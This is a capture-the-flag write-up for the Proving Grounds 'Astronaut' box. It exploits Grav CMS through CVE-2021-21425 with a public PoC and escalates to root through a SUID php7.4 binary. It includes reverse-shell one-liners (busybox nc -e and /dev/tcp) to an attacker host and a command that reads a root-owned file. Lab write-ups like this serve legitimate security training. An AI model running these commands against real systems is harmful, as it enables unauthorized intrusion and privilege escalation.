# Astronaut Writeup - Proving Grounds

> Easy Linux box exploiting Grav CMS with CVE-2021-21425 for RCE, then leveraging a SUID `php7.4` binary for privilege escalation to root.

- **URL:** https://hackindex.io/writeups/astronaut
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/astronaut-49479/overview
- **Tags:** ssti, xss, privilege-escalation, suid, cve-2021-21425
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 6 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

This box was a short two-stage path. The web root exposed a Grav admin directory, Grav gave unauthenticated code execution as `www-data`, and a SUID `php7.4` binary turned that foothold into root by reading `/root/proof.txt`.

## Discovery

A full TCP sweep exposed SSH on `22` and Apache on `80`. The HTTP service was the path forward because the web root listed a `grav-admin/` directory directly.

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 18:00 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.022s latency).
# Not shown: 65533 closed tcp ports (reset)
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
#
# Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
# [+] Parsing open TCP ports...
# [+] Running scripts & versions on TCP ports: 22,80
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 18:00 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.019s latency).
#
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
# |   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
# |_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
# 80/tcp open  http    Apache httpd 2.4.41
# | http-ls: Volume /
# | SIZE  TIME              FILENAME
# | -     2021-03-17 17:46  grav-admin/
# |_
# |_http-server-header: Apache/2.4.41 (Ubuntu)
# |_http-title: Index of /
# Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
```

Browsing to `http://$TARGET_IP/grav-admin/` confirmed Grav. The admin interface was also exposed at `http://$TARGET_IP/grav-admin/admin`, so the next move was checking Grav-specific public exploits instead of spending more time on generic web enumeration.

### Grav Identification

`searchsploit` returned a small set of Grav issues. The result that mattered was the Grav RCE entry.

```bash
searchsploit grav
# -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
#  Exploit Title                                                                                                                                                            |  Path
# -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
# Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting                                                                                                                        | php/webapps/42131.txt
# Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting                                                                                        | php/webapps/49264.txt
# Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)                                                                                                   | php/webapps/49961.py
# Grav CMS 1.7.48 - Remote Code Execution (RCE)                                                                                                                             | php/webapps/52402.txt
# GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)                                                                                                        | php/webapps/49973.py
# GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit)                                                                                                        | php/webapps/49788.rb
# -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
```

The notes for `php/webapps/52402.txt` pointed to `CVE-2021-21425`. For exploitation, the working PoC used here was the public Python file `exploit.py` from the `bluetoothStrawberry/cve-2021-21425` repository. That gave an unauthenticated path straight into command execution, so the next move was running that PoC against `/grav-admin`.

## Initial Access

### Grav RCE

Pull the PoC and run it against the exposed Grav path.

```bash
git clone https://github.com/bluetoothStrawberry/cve-2021-21425.git
cd cve-2021-21425
python3 exploit.py -u http://$TARGET_IP/grav-admin
# Waiting 1 seconds for http://$TARGET_IP/grav-admin/tmp/60fbe3228b8d5a7b.php creation!
# Initiating hacking session
# $ whoami
# www-data
#
# $ pwd
# /var/www/html/grav-admin/tmp
```

The exploit landed as `www-data` inside Grav’s temp directory. That was enough for command execution, but working inside the exploit prompt was slower than using a reverse shell. The next move was to call back with `busybox nc`.

### Reverse Shell

Start the listener.

```bash
rslisten $ATTACKER_PORT tun1
# [LINUX] /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
# [LINUX] busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash
#
# listening on [$ATTACKER_IP] $ATTACKER_PORT ...
```

From the Grav exploit shell, send the callback.

```bash
busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 39032
```

That converted the web RCE into a stable shell as `www-data`. With no immediate user credentials in hand, the fastest next move was a SUID sweep.

## Privilege Escalation

### SUID Enumeration

A full SUID search returned mostly standard binaries. One entry stood out immediately: `/usr/bin/php7.4` was SUID root.

```bash
find / -user root -perm -4000 -type f -exec ls -ldb {} \; 2>/dev/null
# -rwsr-xr-x 1 root root 85064 Nov 29  2022 /snap/core20/1852/usr/bin/chfn
# -rwsr-xr-x 1 root root 53040 Nov 29  2022 /snap/core20/1852/usr/bin/chsh
# -rwsr-xr-x 1 root root 88464 Nov 29  2022 /snap/core20/1852/usr/bin/gpasswd
# -rwsr-xr-x 1 root root 55528 Feb  7  2022 /snap/core20/1852/usr/bin/mount
# -rwsr-xr-x 1 root root 44784 Nov 29  2022 /snap/core20/1852/usr/bin/newgrp
# -rwsr-xr-x 1 root root 68208 Nov 29  2022 /snap/core20/1852/usr/bin/passwd
# -rwsr-xr-x 1 root root 67816 Feb  7  2022 /snap/core20/1852/usr/bin/su
# -rwsr-xr-x 1 root root 166056 Jan 16  2023 /snap/core20/1852/usr/bin/sudo
# -rwsr-xr-x 1 root root 39144 Feb  7  2022 /snap/core20/1852/usr/bin/umount
# -rwsr-xr-- 1 root systemd-resolve 51344 Oct 25  2022 /snap/core20/1852/usr/lib/dbus-1.0/dbus-daemon-launch-helper
# -rwsr-xr-x 1 root root 473576 Mar 30  2022 /snap/core20/1852/usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root 85064 Mar 14  2022 /snap/core20/1611/usr/bin/chfn
# -rwsr-xr-x 1 root root 53040 Mar 14  2022 /snap/core20/1611/usr/bin/chsh
# -rwsr-xr-x 1 root root 88464 Mar 14  2022 /snap/core20/1611/usr/bin/gpasswd
# -rwsr-xr-x 1 root root 55528 Feb  7  2022 /snap/core20/1611/usr/bin/mount
# -rwsr-xr-x 1 root root 44784 Mar 14  2022 /snap/core20/1611/usr/bin/newgrp
# -rwsr-xr-x 1 root root 68208 Mar 14  2022 /snap/core20/1611/usr/bin/passwd
# -rwsr-xr-x 1 root root 67816 Feb  7  2022 /snap/core20/1611/usr/bin/su
# -rwsr-xr-x 1 root root 166056 Jan 19  2021 /snap/core20/1611/usr/bin/sudo
# -rwsr-xr-x 1 root root 39144 Feb  7  2022 /snap/core20/1611/usr/bin/umount
# -rwsr-xr-- 1 root systemd-resolve 51344 Apr 29  2022 /snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper
# -rwsr-xr-x 1 root root 473576 Mar 30  2022 /snap/core20/1611/usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root 123560 Feb 22  2023 /snap/snapd/18596/usr/lib/snapd/snap-confine
# -rwsr-xr-- 1 root messagebus 51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
# -rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
# -rwsr-xr-x 1 root root 146888 Dec  1  2022 /usr/lib/snapd/snap-confine
# -rwsr-xr-x 1 root root 473576 Mar 30  2022 /usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root 22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
# -rwsr-xr-x 1 root root 53040 Nov 29  2022 /usr/bin/chsh
# -rwsr-xr-x 1 root root 67816 Feb  7  2022 /usr/bin/su
# -rwsr-xr-x 1 root root 39144 Mar  7  2020 /usr/bin/fusermount
# -rwsr-xr-x 1 root root 85064 Nov 29  2022 /usr/bin/chfn
# -rwsr-xr-x 1 root root 39144 Feb  7  2022 /usr/bin/umount
# -rwsr-xr-x 1 root root 166056 Jan 16  2023 /usr/bin/sudo
# -rwsr-xr-x 1 root root 68208 Nov 29  2022 /usr/bin/passwd
# -rwsr-xr-x 1 root root 44784 Nov 29  2022 /usr/bin/newgrp
# -rwsr-xr-x 1 root root 55528 Feb  7  2022 /usr/bin/mount
# -rwsr-xr-x 1 root root 4786104 Feb 23  2023 /usr/bin/php7.4
# -rwsr-xr-x 1 root root 88464 Nov 29  2022 /usr/bin/gpasswd
```

Nothing else on that list beat a SUID PHP binary for speed. That turned privesc into a file-read problem instead of a user pivot or sudo path. The next move was reading the proof directly from `/root`.

### Reading `/root/proof.txt`

```bash
/usr/bin/php7.4 -r 'echo file_get_contents("/root/proof.txt");'
# [HIDDEN]
```

That completed the box. The exploit chain was short and direct: exposed Grav admin path, unauthenticated Grav RCE as `www-data`, then SUID `php7.4` to read the root proof file.

##

Related

## References

- [Grav CMS 1.7.48](https://www.exploit-db.com/exploits/52402) - Remote Code Execution (RCE), Searchsploit entry used to identify the relevant Grav issue
- [CVE-2021-21425](https://nvd.nist.gov/vuln/detail/CVE-2021-21425) - Grav unauthenticated arbitrary YAML write that leads to code execution
- [cve-2021-21425](https://github.com/bluetoothStrawberry/cve-2021-21425) - Public PoC repository containing the exploit.py file used for the foothold
- [GTFOBins](https://gtfobins.github.io/gtfobins/php) - php, Reference for abusing a SUID PHP binary to read files as root
